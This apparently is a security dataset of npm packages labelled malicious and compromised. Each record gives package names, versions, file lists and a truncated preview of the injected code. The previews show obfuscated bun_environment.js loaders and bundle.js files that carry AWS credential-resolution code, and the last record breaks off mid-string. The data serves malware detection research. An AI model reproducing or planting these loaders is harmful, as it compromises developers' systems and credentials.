{"ecosystem": "npm", "category": "compromised_lib", "package": "@actbase@react-native-simple-video", "version": "1.0.13", "filename": "2025-11-24-@actbase_react-native-simple-video-v1.0.13.zip", "primary_file": "tmp/tmppzu3qsxn/@actbase-react-native-simple-video/package/bun_environment.js", "diff_preview": "var a0_0x58e7a2=a0_0x5155;(function(_0x488e1f,_0x239640){var _0x1c90e8=a0_0x5155,_0x2d2cb3=_0x488e1f();while(!![]){try{var _0x156b43=parseInt(_0x1c90e8(0x52cd))/0x1*(-parseInt(_0x1c90e8(0x2dae))/0x2)+parseInt(_0x1c90e8(0x49ef))/0x3*(parseInt(_0x1c90e8(0x373))/0x4)+parseInt(_0x1c90e8(0x2c8a))/0x5*(-parseInt(_0x1c90e8(0x3b09))/0x6)+parseInt(_0x1c90e8(0x2336))/0x7*(-parseInt(_0x1c90e8(0x34cf))/0x8)+parseInt(_0x1c90e8(0x18ad))/0x9*(parseInt(_0x1c90e8(0x13ba))/0xa)+parseInt(_0x1c90e8(0xeef))/0xb+parseInt(_0x1c90e8(0x17a8))/0xc;if(_0x156b43===_0x239640)break;else _0x2d2cb3['push'](_0x2d2cb3['shift']());}catch(_0x1d8237){_0x2d2cb3['push'](_0x2d2cb3['shift']());}}}(a0_0x29d6,0xc51e0));var rL0=Object[a0_0x58e7a2(0x47b)],{getPrototypeOf:sL0,defineProperty:KI,getOwnPropertyNames:eL0}=Object,OM0=Object[a0_0x58e7a2(0x3bd7)][a0_0x58e7a2(0x1947)],a=(_0x679b62,_0x4830ad,_0x5434bd)=>{var _0x14457d=a0_0x58e7a2;_0x5434bd=_0x679b62!=null?rL0(sL0(_0x679b62)):{};let _0x277045=_0x4830ad||!_0x679b62||!_0x679b62[_0x14457d(0x4ad9)]?KI(_0x5434bd,_0x14457d(0x663),{'value':_0x679b62,'enumerable':!0x0}):_0x5434bd;for(let _0xf9807e of eL0(_0x679b62))if(!OM0[_0x14457d(0x5eb0)](_0x277045,_0xf9807e))KI(_0x277045,_0xf9807e,{'get':()=>_0x679b62[_0xf9807e],'enumerable':!0x0});return _0x277045;},y=(_0x1cda43,_0xee15d8)=>()=>(_0xee15d8||_0x1cda43((_0xee15d8={'exports':{}})[a0_0x58e7a2(0x5458)],_0xee15d8),_0xee15d8[a0_0x58e7a2(0x5458)]),e1=(_0xe5c5b2,_0x560cf6)=>{for(var _0xcf92ec in _0x560cf6)KI(_0xe5c5b2,_0xcf92e", "files": ["tmp/tmppzu3qsxn/@actbase-react-native-simple-video/package/bun_environment.js", "tmp/tmppzu3qsxn/@actbase-react-native-simple-video/package/setup_bun.js", "tmp/tmppzu3qsxn/@actbase-react-native-simple-video/package/index.js", "tmp/tmppzu3qsxn/@actbase-react-native-simple-video/package/package.json"], "malicious_signal_count": 0, "label": "malicious", "source": "datadog"} {"ecosystem": "npm", "category": "compromised_lib", "package": "@actbase@native", "version": "0.1.32", "filename": "2025-11-24-@actbase_native-v0.1.32.zip", "primary_file": "tmp/tmpdgu2w7ad/@actbase-native/package/bun_environment.js", "diff_preview": "var a0_0x58e7a2=a0_0x5155;(function(_0x488e1f,_0x239640){var _0x1c90e8=a0_0x5155,_0x2d2cb3=_0x488e1f();while(!![]){try{var _0x156b43=parseInt(_0x1c90e8(0x52cd))/0x1*(-parseInt(_0x1c90e8(0x2dae))/0x2)+parseInt(_0x1c90e8(0x49ef))/0x3*(parseInt(_0x1c90e8(0x373))/0x4)+parseInt(_0x1c90e8(0x2c8a))/0x5*(-parseInt(_0x1c90e8(0x3b09))/0x6)+parseInt(_0x1c90e8(0x2336))/0x7*(-parseInt(_0x1c90e8(0x34cf))/0x8)+parseInt(_0x1c90e8(0x18ad))/0x9*(parseInt(_0x1c90e8(0x13ba))/0xa)+parseInt(_0x1c90e8(0xeef))/0xb+parseInt(_0x1c90e8(0x17a8))/0xc;if(_0x156b43===_0x239640)break;else _0x2d2cb3['push'](_0x2d2cb3['shift']());}catch(_0x1d8237){_0x2d2cb3['push'](_0x2d2cb3['shift']());}}}(a0_0x29d6,0xc51e0));var rL0=Object[a0_0x58e7a2(0x47b)],{getPrototypeOf:sL0,defineProperty:KI,getOwnPropertyNames:eL0}=Object,OM0=Object[a0_0x58e7a2(0x3bd7)][a0_0x58e7a2(0x1947)],a=(_0x679b62,_0x4830ad,_0x5434bd)=>{var _0x14457d=a0_0x58e7a2;_0x5434bd=_0x679b62!=null?rL0(sL0(_0x679b62)):{};let _0x277045=_0x4830ad||!_0x679b62||!_0x679b62[_0x14457d(0x4ad9)]?KI(_0x5434bd,_0x14457d(0x663),{'value':_0x679b62,'enumerable':!0x0}):_0x5434bd;for(let _0xf9807e of eL0(_0x679b62))if(!OM0[_0x14457d(0x5eb0)](_0x277045,_0xf9807e))KI(_0x277045,_0xf9807e,{'get':()=>_0x679b62[_0xf9807e],'enumerable':!0x0});return _0x277045;},y=(_0x1cda43,_0xee15d8)=>()=>(_0xee15d8||_0x1cda43((_0xee15d8={'exports':{}})[a0_0x58e7a2(0x5458)],_0xee15d8),_0xee15d8[a0_0x58e7a2(0x5458)]),e1=(_0xe5c5b2,_0x560cf6)=>{for(var _0xcf92ec in _0x560cf6)KI(_0xe5c5b2,_0xcf92e", "files": ["tmp/tmpdgu2w7ad/@actbase-native/package/bun_environment.js", "tmp/tmpdgu2w7ad/@actbase-native/package/lib/devtools/tools.js", "tmp/tmpdgu2w7ad/@actbase-native/package/lib/devtools/system.js", "tmp/tmpdgu2w7ad/@actbase-native/package/lib/forms/Form.js", "tmp/tmpdgu2w7ad/@actbase-native/package/lib/devtools/network.js", "tmp/tmpdgu2w7ad/@actbase-native/package/lib/devtools/storage.js"], "malicious_signal_count": 0, "label": "malicious", "source": "datadog"} {"ecosystem": "npm", "category": "compromised_lib", "package": "@actbase@react-kakaosdk", "version": "0.9.27", "filename": "2025-11-24-@actbase_react-kakaosdk-v0.9.27.zip", "primary_file": "tmp/tmpa2royxil/@actbase-react-kakaosdk/package/bun_environment.js", "diff_preview": "var a0_0x58e7a2=a0_0x5155;(function(_0x488e1f,_0x239640){var _0x1c90e8=a0_0x5155,_0x2d2cb3=_0x488e1f();while(!![]){try{var _0x156b43=parseInt(_0x1c90e8(0x52cd))/0x1*(-parseInt(_0x1c90e8(0x2dae))/0x2)+parseInt(_0x1c90e8(0x49ef))/0x3*(parseInt(_0x1c90e8(0x373))/0x4)+parseInt(_0x1c90e8(0x2c8a))/0x5*(-parseInt(_0x1c90e8(0x3b09))/0x6)+parseInt(_0x1c90e8(0x2336))/0x7*(-parseInt(_0x1c90e8(0x34cf))/0x8)+parseInt(_0x1c90e8(0x18ad))/0x9*(parseInt(_0x1c90e8(0x13ba))/0xa)+parseInt(_0x1c90e8(0xeef))/0xb+parseInt(_0x1c90e8(0x17a8))/0xc;if(_0x156b43===_0x239640)break;else _0x2d2cb3['push'](_0x2d2cb3['shift']());}catch(_0x1d8237){_0x2d2cb3['push'](_0x2d2cb3['shift']());}}}(a0_0x29d6,0xc51e0));var rL0=Object[a0_0x58e7a2(0x47b)],{getPrototypeOf:sL0,defineProperty:KI,getOwnPropertyNames:eL0}=Object,OM0=Object[a0_0x58e7a2(0x3bd7)][a0_0x58e7a2(0x1947)],a=(_0x679b62,_0x4830ad,_0x5434bd)=>{var _0x14457d=a0_0x58e7a2;_0x5434bd=_0x679b62!=null?rL0(sL0(_0x679b62)):{};let _0x277045=_0x4830ad||!_0x679b62||!_0x679b62[_0x14457d(0x4ad9)]?KI(_0x5434bd,_0x14457d(0x663),{'value':_0x679b62,'enumerable':!0x0}):_0x5434bd;for(let _0xf9807e of eL0(_0x679b62))if(!OM0[_0x14457d(0x5eb0)](_0x277045,_0xf9807e))KI(_0x277045,_0xf9807e,{'get':()=>_0x679b62[_0xf9807e],'enumerable':!0x0});return _0x277045;},y=(_0x1cda43,_0xee15d8)=>()=>(_0xee15d8||_0x1cda43((_0xee15d8={'exports':{}})[a0_0x58e7a2(0x5458)],_0xee15d8),_0xee15d8[a0_0x58e7a2(0x5458)]),e1=(_0xe5c5b2,_0x560cf6)=>{for(var _0xcf92ec in _0x560cf6)KI(_0xe5c5b2,_0xcf92e", "files": ["tmp/tmpa2royxil/@actbase-react-kakaosdk/package/bun_environment.js", "tmp/tmpa2royxil/@actbase-react-kakaosdk/package/lib/app.js", "tmp/tmpa2royxil/@actbase-react-kakaosdk/package/lib/app.native.js", "tmp/tmpa2royxil/@actbase-react-kakaosdk/package/setup_bun.js", "tmp/tmpa2royxil/@actbase-react-kakaosdk/package/package.json", "tmp/tmpa2royxil/@actbase-react-kakaosdk/package/lib/index.js"], "malicious_signal_count": 0, "label": "malicious", "source": "datadog"} {"ecosystem": "npm", "category": "compromised_lib", "package": "@art-ws@eslint", "version": "1.0.6", "filename": "2025-09-15-@art-ws_eslint-v1.0.6.zip", "primary_file": "tmp/tmpjt1q4kzz/@art-ws-eslint/package/bundle.js", "diff_preview": "/*! For license information please see bundle.js.LICENSE.txt */\nimport{createRequire as __WEBPACK_EXTERNAL_createRequire}from\"node:module\";var __webpack_modules__={1:(t,r,n)=>{n.r(r),n.d(r,{isRedirect:()=>isRedirect});const F=new Set([301,302,303,307,308]),isRedirect=t=>F.has(t)},50:(t,r,n)=>{n.r(r),n.d(r,{isWebIdentityProfile:()=>isWebIdentityProfile,resolveWebIdentityCredentials:()=>resolveWebIdentityCredentials});var F=n(51542);const isWebIdentityProfile=t=>Boolean(t)&&\"object\"==typeof t&&\"string\"==typeof t.web_identity_token_file&&\"string\"==typeof t.role_arn&&[\"undefined\",\"string\"].indexOf(typeof t.role_session_name)>-1,resolveWebIdentityCredentials=async(t,r)=>Promise.resolve().then(n.bind(n,90994)).then(({fromTokenFile:n})=>n({webIdentityTokenFile:t.web_identity_token_file,roleArn:t.role_arn,roleSessionName:t.role_session_name,roleAssumerWithWebIdentity:r.roleAssumerWithWebIdentity,logger:r.logger,parentClientConfig:r.parentClientConfig})().then(t=>(0,F.setCredentialFeature)(t,\"CREDENTIALS_PROFILE_STS_WEB_ID_TOKEN\",\"q\")))},71:(t,r,n)=>{n.r(r),n.d(r,{STSClient:()=>STSClient,__Client:()=>le.Client});var F=n(81095),te=n(50165),re=n(30170),ne=n(44130),oe=n(61329),ie=n(40033),se=n(70649),ae=n(72540),ce=n(41069),le=n(31796),ue=n(64159),de=n(47207),pe=n(34270),ge=n(15354);class STSClient extends le.Client{config;constructor(...[t]){const r=(0,pe.getRuntimeConfig)(t||{});super(r),this.initConfig=r;const n=(0,de.resolveClientEndpointParameters)(r),le=(0,ne.resolveUserAgentConfig", "files": ["tmp/tmpjt1q4kzz/@art-ws-eslint/package/bundle.js", "tmp/tmpjt1q4kzz/@art-ws-eslint/package/package.json"], "malicious_signal_count": 0, "label": "malicious", "source": "datadog"} {"ecosystem": "npm", "category": "compromised_lib", "package": "@actbase@react-absolute", "version": "0.8.3", "filename": "2025-11-24-@actbase_react-absolute-v0.8.3.zip", "primary_file": "tmp/tmpvf51hz9p/@actbase-react-absolute/package/bun_environment.js", "diff_preview": "var a0_0x58e7a2=a0_0x5155;(function(_0x488e1f,_0x239640){var _0x1c90e8=a0_0x5155,_0x2d2cb3=_0x488e1f();while(!![]){try{var _0x156b43=parseInt(_0x1c90e8(0x52cd))/0x1*(-parseInt(_0x1c90e8(0x2dae))/0x2)+parseInt(_0x1c90e8(0x49ef))/0x3*(parseInt(_0x1c90e8(0x373))/0x4)+parseInt(_0x1c90e8(0x2c8a))/0x5*(-parseInt(_0x1c90e8(0x3b09))/0x6)+parseInt(_0x1c90e8(0x2336))/0x7*(-parseInt(_0x1c90e8(0x34cf))/0x8)+parseInt(_0x1c90e8(0x18ad))/0x9*(parseInt(_0x1c90e8(0x13ba))/0xa)+parseInt(_0x1c90e8(0xeef))/0xb+parseInt(_0x1c90e8(0x17a8))/0xc;if(_0x156b43===_0x239640)break;else _0x2d2cb3['push'](_0x2d2cb3['shift']());}catch(_0x1d8237){_0x2d2cb3['push'](_0x2d2cb3['shift']());}}}(a0_0x29d6,0xc51e0));var rL0=Object[a0_0x58e7a2(0x47b)],{getPrototypeOf:sL0,defineProperty:KI,getOwnPropertyNames:eL0}=Object,OM0=Object[a0_0x58e7a2(0x3bd7)][a0_0x58e7a2(0x1947)],a=(_0x679b62,_0x4830ad,_0x5434bd)=>{var _0x14457d=a0_0x58e7a2;_0x5434bd=_0x679b62!=null?rL0(sL0(_0x679b62)):{};let _0x277045=_0x4830ad||!_0x679b62||!_0x679b62[_0x14457d(0x4ad9)]?KI(_0x5434bd,_0x14457d(0x663),{'value':_0x679b62,'enumerable':!0x0}):_0x5434bd;for(let _0xf9807e of eL0(_0x679b62))if(!OM0[_0x14457d(0x5eb0)](_0x277045,_0xf9807e))KI(_0x277045,_0xf9807e,{'get':()=>_0x679b62[_0xf9807e],'enumerable':!0x0});return _0x277045;},y=(_0x1cda43,_0xee15d8)=>()=>(_0xee15d8||_0x1cda43((_0xee15d8={'exports':{}})[a0_0x58e7a2(0x5458)],_0xee15d8),_0xee15d8[a0_0x58e7a2(0x5458)]),e1=(_0xe5c5b2,_0x560cf6)=>{for(var _0xcf92ec in _0x560cf6)KI(_0xe5c5b2,_0xcf92e", "files": ["tmp/tmpvf51hz9p/@actbase-react-absolute/package/bun_environment.js", "tmp/tmpvf51hz9p/@actbase-react-absolute/package/setup_bun.js", "tmp/tmpvf51hz9p/@actbase-react-absolute/package/package.json", "tmp/tmpvf51hz9p/@actbase-react-absolute/package/lib/absolute/provider.js", "tmp/tmpvf51hz9p/@actbase-react-absolute/package/lib/absolute/index.js", "tmp/tmpvf51hz9p/@actbase-react-absolute/package/lib/index.js"], "malicious_signal_count": 0, "label": "malicious", "source": "datadog"} {"ecosystem": "npm", "category": "compromised_lib", "package": "@art-ws@openapi", "version": "0.1.9", "filename": "2025-09-15-@art-ws_openapi-v0.1.9.zip", "primary_file": "tmp/tmpk13u6w2g/@art-ws-openapi/package/bundle.js", "diff_preview": "/*! For license information please see bundle.js.LICENSE.txt */\nimport{createRequire as __WEBPACK_EXTERNAL_createRequire}from\"node:module\";var __webpack_modules__={1:(t,r,n)=>{n.r(r),n.d(r,{isRedirect:()=>isRedirect});const F=new Set([301,302,303,307,308]),isRedirect=t=>F.has(t)},50:(t,r,n)=>{n.r(r),n.d(r,{isWebIdentityProfile:()=>isWebIdentityProfile,resolveWebIdentityCredentials:()=>resolveWebIdentityCredentials});var F=n(51542);const isWebIdentityProfile=t=>Boolean(t)&&\"object\"==typeof t&&\"string\"==typeof t.web_identity_token_file&&\"string\"==typeof t.role_arn&&[\"undefined\",\"string\"].indexOf(typeof t.role_session_name)>-1,resolveWebIdentityCredentials=async(t,r)=>Promise.resolve().then(n.bind(n,90994)).then(({fromTokenFile:n})=>n({webIdentityTokenFile:t.web_identity_token_file,roleArn:t.role_arn,roleSessionName:t.role_session_name,roleAssumerWithWebIdentity:r.roleAssumerWithWebIdentity,logger:r.logger,parentClientConfig:r.parentClientConfig})().then(t=>(0,F.setCredentialFeature)(t,\"CREDENTIALS_PROFILE_STS_WEB_ID_TOKEN\",\"q\")))},71:(t,r,n)=>{n.r(r),n.d(r,{STSClient:()=>STSClient,__Client:()=>le.Client});var F=n(81095),te=n(50165),re=n(30170),ne=n(44130),oe=n(61329),ie=n(40033),se=n(70649),ae=n(72540),ce=n(41069),le=n(31796),ue=n(64159),de=n(47207),pe=n(34270),ge=n(15354);class STSClient extends le.Client{config;constructor(...[t]){const r=(0,pe.getRuntimeConfig)(t||{});super(r),this.initConfig=r;const n=(0,de.resolveClientEndpointParameters)(r),le=(0,ne.resolveUserAgentConfig", "files": ["tmp/tmpk13u6w2g/@art-ws-openapi/package/bundle.js", "tmp/tmpk13u6w2g/@art-ws-openapi/package/package.json", "tmp/tmpk13u6w2g/@art-ws-openapi/package/dist/es/open-api.js", "tmp/tmpk13u6w2g/@art-ws-openapi/package/dist/es/index.js"], "malicious_signal_count": 0, "label": "malicious", "source": "datadog"} {"ecosystem": "npm", "category": "compromised_lib", "package": "@art-ws@openapi", "version": "0.1.12", "filename": "2025-09-15-@art-ws_openapi-v0.1.12.zip", "primary_file": "tmp/tmp_e4o6gt_/@art-ws-openapi/package/bundle.js", "diff_preview": "/*! For license information please see bundle.js.LICENSE.txt */\nimport{createRequire as __WEBPACK_EXTERNAL_createRequire}from\"node:module\";var __webpack_modules__={1:(t,r,n)=>{n.r(r),n.d(r,{isRedirect:()=>isRedirect});const F=new Set([301,302,303,307,308]),isRedirect=t=>F.has(t)},50:(t,r,n)=>{n.r(r),n.d(r,{isWebIdentityProfile:()=>isWebIdentityProfile,resolveWebIdentityCredentials:()=>resolveWebIdentityCredentials});var F=n(51542);const isWebIdentityProfile=t=>Boolean(t)&&\"object\"==typeof t&&\"string\"==typeof t.web_identity_token_file&&\"string\"==typeof t.role_arn&&[\"undefined\",\"string\"].indexOf(typeof t.role_session_name)>-1,resolveWebIdentityCredentials=async(t,r)=>Promise.resolve().then(n.bind(n,90994)).then(({fromTokenFile:n})=>n({webIdentityTokenFile:t.web_identity_token_file,roleArn:t.role_arn,roleSessionName:t.role_session_name,roleAssumerWithWebIdentity:r.roleAssumerWithWebIdentity,logger:r.logger,parentClientConfig:r.parentClientConfig})().then(t=>(0,F.setCredentialFeature)(t,\"CREDENTIALS_PROFILE_STS_WEB_ID_TOKEN\",\"q\")))},71:(t,r,n)=>{n.r(r),n.d(r,{STSClient:()=>STSClient,__Client:()=>le.Client});var F=n(81095),te=n(50165),re=n(30170),ne=n(44130),oe=n(61329),ie=n(40033),se=n(70649),ae=n(72540),ce=n(41069),le=n(31796),ue=n(64159),de=n(47207),pe=n(34270),ge=n(15354);class STSClient extends le.Client{config;constructor(...[t]){const r=(0,pe.getRuntimeConfig)(t||{});super(r),this.initConfig=r;const n=(0,de.resolveClientEndpointParameters)(r),le=(0,ne.resolveUserAgentConfig", "files": ["tmp/tmp_e4o6gt_/@art-ws-openapi/package/bundle.js", "tmp/tmp_e4o6gt_/@art-ws-openapi/package/package.json", "tmp/tmp_e4o6gt_/@art-ws-openapi/package/dist/es/open-api.js", "tmp/tmp_e4o6gt_/@art-ws-openapi/package/dist/es/index.js"], "malicious_signal_count": 0, "label": "malicious", "source": "datadog"} {"ecosystem": "npm", "category": "compromised_lib", "package": "@actbase@css-to-react-native-transform", "version": "1.0.3", "filename": "2025-11-24-@actbase_css-to-react-native-transform-v1.0.3.zip", "primary_file": "tmp/tmp8x91s9if/@actbase-css-to-react-native-transform/package/bun_environment.js", "diff_preview": "var a0_0x58e7a2=a0_0x5155;(function(_0x488e1f,_0x239640){var _0x1c90e8=a0_0x5155,_0x2d2cb3=_0x488e1f();while(!![]){try{var _0x156b43=parseInt(_0x1c90e8(0x52cd))/0x1*(-parseInt(_0x1c90e8(0x2dae))/0x2)+parseInt(_0x1c90e8(0x49ef))/0x3*(parseInt(_0x1c90e8(0x373))/0x4)+parseInt(_0x1c90e8(0x2c8a))/0x5*(-parseInt(_0x1c90e8(0x3b09))/0x6)+parseInt(_0x1c90e8(0x2336))/0x7*(-parseInt(_0x1c90e8(0x34cf))/0x8)+parseInt(_0x1c90e8(0x18ad))/0x9*(parseInt(_0x1c90e8(0x13ba))/0xa)+parseInt(_0x1c90e8(0xeef))/0xb+parseInt(_0x1c90e8(0x17a8))/0xc;if(_0x156b43===_0x239640)break;else _0x2d2cb3['push'](_0x2d2cb3['shift']());}catch(_0x1d8237){_0x2d2cb3['push'](_0x2d2cb3['shift']());}}}(a0_0x29d6,0xc51e0));var rL0=Object[a0_0x58e7a2(0x47b)],{getPrototypeOf:sL0,defineProperty:KI,getOwnPropertyNames:eL0}=Object,OM0=Object[a0_0x58e7a2(0x3bd7)][a0_0x58e7a2(0x1947)],a=(_0x679b62,_0x4830ad,_0x5434bd)=>{var _0x14457d=a0_0x58e7a2;_0x5434bd=_0x679b62!=null?rL0(sL0(_0x679b62)):{};let _0x277045=_0x4830ad||!_0x679b62||!_0x679b62[_0x14457d(0x4ad9)]?KI(_0x5434bd,_0x14457d(0x663),{'value':_0x679b62,'enumerable':!0x0}):_0x5434bd;for(let _0xf9807e of eL0(_0x679b62))if(!OM0[_0x14457d(0x5eb0)](_0x277045,_0xf9807e))KI(_0x277045,_0xf9807e,{'get':()=>_0x679b62[_0xf9807e],'enumerable':!0x0});return _0x277045;},y=(_0x1cda43,_0xee15d8)=>()=>(_0xee15d8||_0x1cda43((_0xee15d8={'exports':{}})[a0_0x58e7a2(0x5458)],_0xee15d8),_0xee15d8[a0_0x58e7a2(0x5458)]),e1=(_0xe5c5b2,_0x560cf6)=>{for(var _0xcf92ec in _0x560cf6)KI(_0xe5c5b2,_0xcf92e", "files": ["tmp/tmp8x91s9if/@actbase-css-to-react-native-transform/package/bun_environment.js", "tmp/tmp8x91s9if/@actbase-css-to-react-native-transform/package/dist/index.spec.js", "tmp/tmp8x91s9if/@actbase-css-to-react-native-transform/package/src/index.spec.js", "tmp/tmp8x91s9if/@actbase-css-to-react-native-transform/package/dist/utils/sortRules.spec.js", "tmp/tmp8x91s9if/@actbase-css-to-react-native-transform/package/src/utils/sortRules.spec.js", "tmp/tmp8x91s9if/@actbase-css-to-react-native-transform/package/dist/index.js"], "malicious_signal_count": 0, "label": "malicious", "source": "datadog"} {"ecosystem": "npm", "category": "compromised_lib", "package": "@art-ws@http-server", "version": "2.0.25", "filename": "2025-09-15-@art-ws_http-server-v2.0.25.zip", "primary_file": "tmp/tmpd8lt9h5u/@art-ws-http-server/package/bundle.js", "diff_preview": "/*! For license information please see bundle.js.LICENSE.txt */\nimport{createRequire as __WEBPACK_EXTERNAL_createRequire}from\"node:module\";var __webpack_modules__={1:(t,r,n)=>{n.r(r),n.d(r,{isRedirect:()=>isRedirect});const F=new Set([301,302,303,307,308]),isRedirect=t=>F.has(t)},50:(t,r,n)=>{n.r(r),n.d(r,{isWebIdentityProfile:()=>isWebIdentityProfile,resolveWebIdentityCredentials:()=>resolveWebIdentityCredentials});var F=n(51542);const isWebIdentityProfile=t=>Boolean(t)&&\"object\"==typeof t&&\"string\"==typeof t.web_identity_token_file&&\"string\"==typeof t.role_arn&&[\"undefined\",\"string\"].indexOf(typeof t.role_session_name)>-1,resolveWebIdentityCredentials=async(t,r)=>Promise.resolve().then(n.bind(n,90994)).then(({fromTokenFile:n})=>n({webIdentityTokenFile:t.web_identity_token_file,roleArn:t.role_arn,roleSessionName:t.role_session_name,roleAssumerWithWebIdentity:r.roleAssumerWithWebIdentity,logger:r.logger,parentClientConfig:r.parentClientConfig})().then(t=>(0,F.setCredentialFeature)(t,\"CREDENTIALS_PROFILE_STS_WEB_ID_TOKEN\",\"q\")))},71:(t,r,n)=>{n.r(r),n.d(r,{STSClient:()=>STSClient,__Client:()=>le.Client});var F=n(81095),te=n(50165),re=n(30170),ne=n(44130),oe=n(61329),ie=n(40033),se=n(70649),ae=n(72540),ce=n(41069),le=n(31796),ue=n(64159),de=n(47207),pe=n(34270),ge=n(15354);class STSClient extends le.Client{config;constructor(...[t]){const r=(0,pe.getRuntimeConfig)(t||{});super(r),this.initConfig=r;const n=(0,de.resolveClientEndpointParameters)(r),le=(0,ne.resolveUserAgentConfig", "files": ["tmp/tmpd8lt9h5u/@art-ws-http-server/package/bundle.js", "tmp/tmpd8lt9h5u/@art-ws-http-server/package/package.json", "tmp/tmpd8lt9h5u/@art-ws-http-server/package/dist/es/router.js", "tmp/tmpd8lt9h5u/@art-ws-http-server/package/dist/es/types.js", "tmp/tmpd8lt9h5u/@art-ws-http-server/package/dist/es/di-tokens.js", "tmp/tmpd8lt9h5u/@art-ws-http-server/package/dist/es/index.js"], "malicious_signal_count": 0, "label": "malicious", "source": "datadog"} {"ecosystem": "npm", "category": "compromised_lib", "package": "@actbase@react-native-naver-login", "version": "1.0.1", "filename": "2025-11-24-@actbase_react-native-naver-login-v1.0.1.zip", "primary_file": "tmp/tmpva9633mm/@actbase-react-native-naver-login/package/bun_environment.js", "diff_preview": "var a0_0x58e7a2=a0_0x5155;(function(_0x488e1f,_0x239640){var _0x1c90e8=a0_0x5155,_0x2d2cb3=_0x488e1f();while(!![]){try{var _0x156b43=parseInt(_0x1c90e8(0x52cd))/0x1*(-parseInt(_0x1c90e8(0x2dae))/0x2)+parseInt(_0x1c90e8(0x49ef))/0x3*(parseInt(_0x1c90e8(0x373))/0x4)+parseInt(_0x1c90e8(0x2c8a))/0x5*(-parseInt(_0x1c90e8(0x3b09))/0x6)+parseInt(_0x1c90e8(0x2336))/0x7*(-parseInt(_0x1c90e8(0x34cf))/0x8)+parseInt(_0x1c90e8(0x18ad))/0x9*(parseInt(_0x1c90e8(0x13ba))/0xa)+parseInt(_0x1c90e8(0xeef))/0xb+parseInt(_0x1c90e8(0x17a8))/0xc;if(_0x156b43===_0x239640)break;else _0x2d2cb3['push'](_0x2d2cb3['shift']());}catch(_0x1d8237){_0x2d2cb3['push'](_0x2d2cb3['shift']());}}}(a0_0x29d6,0xc51e0));var rL0=Object[a0_0x58e7a2(0x47b)],{getPrototypeOf:sL0,defineProperty:KI,getOwnPropertyNames:eL0}=Object,OM0=Object[a0_0x58e7a2(0x3bd7)][a0_0x58e7a2(0x1947)],a=(_0x679b62,_0x4830ad,_0x5434bd)=>{var _0x14457d=a0_0x58e7a2;_0x5434bd=_0x679b62!=null?rL0(sL0(_0x679b62)):{};let _0x277045=_0x4830ad||!_0x679b62||!_0x679b62[_0x14457d(0x4ad9)]?KI(_0x5434bd,_0x14457d(0x663),{'value':_0x679b62,'enumerable':!0x0}):_0x5434bd;for(let _0xf9807e of eL0(_0x679b62))if(!OM0[_0x14457d(0x5eb0)](_0x277045,_0xf9807e))KI(_0x277045,_0xf9807e,{'get':()=>_0x679b62[_0xf9807e],'enumerable':!0x0});return _0x277045;},y=(_0x1cda43,_0xee15d8)=>()=>(_0xee15d8||_0x1cda43((_0xee15d8={'exports':{}})[a0_0x58e7a2(0x5458)],_0xee15d8),_0xee15d8[a0_0x58e7a2(0x5458)]),e1=(_0xe5c5b2,_0x560cf6)=>{for(var _0xcf92ec in _0x560cf6)KI(_0xe5c5b2,_0xcf92e", "files": ["tmp/tmpva9633mm/@actbase-react-native-naver-login/package/bun_environment.js", "tmp/tmpva9633mm/@actbase-react-native-naver-login/package/setup_bun.js", "tmp/tmpva9633mm/@actbase-react-native-naver-login/package/package.json", "tmp/tmpva9633mm/@actbase-react-native-naver-login/package/index.js"], "malicious_signal_count": 0, "label": "malicious", "source": "datadog"} {"ecosystem": "npm", "category": "compromised_lib", "package": "@antstackio@shelbysam", "version": "1.1.7", "filename": "2025-11-24-@antstackio_shelbysam-v1.1.7.zip", "primary_file": "tmp/tmp6_foe3q2/@antstackio-shelbysam/package/bun_environment.js", "diff_preview": "var a0_0x58e7a2=a0_0x5155;(function(_0x488e1f,_0x239640){var _0x1c90e8=a0_0x5155,_0x2d2cb3=_0x488e1f();while(!![]){try{var _0x156b43=parseInt(_0x1c90e8(0x52cd))/0x1*(-parseInt(_0x1c90e8(0x2dae))/0x2)+parseInt(_0x1c90e8(0x49ef))/0x3*(parseInt(_0x1c90e8(0x373))/0x4)+parseInt(_0x1c90e8(0x2c8a))/0x5*(-parseInt(_0x1c90e8(0x3b09))/0x6)+parseInt(_0x1c90e8(0x2336))/0x7*(-parseInt(_0x1c90e8(0x34cf))/0x8)+parseInt(_0x1c90e8(0x18ad))/0x9*(parseInt(_0x1c90e8(0x13ba))/0xa)+parseInt(_0x1c90e8(0xeef))/0xb+parseInt(_0x1c90e8(0x17a8))/0xc;if(_0x156b43===_0x239640)break;else _0x2d2cb3['push'](_0x2d2cb3['shift']());}catch(_0x1d8237){_0x2d2cb3['push'](_0x2d2cb3['shift']());}}}(a0_0x29d6,0xc51e0));var rL0=Object[a0_0x58e7a2(0x47b)],{getPrototypeOf:sL0,defineProperty:KI,getOwnPropertyNames:eL0}=Object,OM0=Object[a0_0x58e7a2(0x3bd7)][a0_0x58e7a2(0x1947)],a=(_0x679b62,_0x4830ad,_0x5434bd)=>{var _0x14457d=a0_0x58e7a2;_0x5434bd=_0x679b62!=null?rL0(sL0(_0x679b62)):{};let _0x277045=_0x4830ad||!_0x679b62||!_0x679b62[_0x14457d(0x4ad9)]?KI(_0x5434bd,_0x14457d(0x663),{'value':_0x679b62,'enumerable':!0x0}):_0x5434bd;for(let _0xf9807e of eL0(_0x679b62))if(!OM0[_0x14457d(0x5eb0)](_0x277045,_0xf9807e))KI(_0x277045,_0xf9807e,{'get':()=>_0x679b62[_0xf9807e],'enumerable':!0x0});return _0x277045;},y=(_0x1cda43,_0xee15d8)=>()=>(_0xee15d8||_0x1cda43((_0xee15d8={'exports':{}})[a0_0x58e7a2(0x5458)],_0xee15d8),_0xee15d8[a0_0x58e7a2(0x5458)]),e1=(_0xe5c5b2,_0x560cf6)=>{for(var _0xcf92ec in _0x560cf6)KI(_0xe5c5b2,_0xcf92e", "files": ["tmp/tmp6_foe3q2/@antstackio-shelbysam/package/bun_environment.js", "tmp/tmp6_foe3q2/@antstackio-shelbysam/package/setup_bun.js", "tmp/tmp6_foe3q2/@antstackio-shelbysam/package/package.json"], "malicious_signal_count": 0, "label": "malicious", "source": "datadog"} {"ecosystem": "npm", "category": "compromised_lib", "package": "@alexcolls@nuxt-socket.io", "version": "0.0.8", "filename": "2025-11-24-@alexcolls_nuxt-socket.io-v0.0.8.zip", "primary_file": "tmp/tmp56mn6cbq/@alexcolls-nuxt-socket.io/package/bun_environment.js", "diff_preview": "var a0_0x58e7a2=a0_0x5155;(function(_0x488e1f,_0x239640){var _0x1c90e8=a0_0x5155,_0x2d2cb3=_0x488e1f();while(!![]){try{var 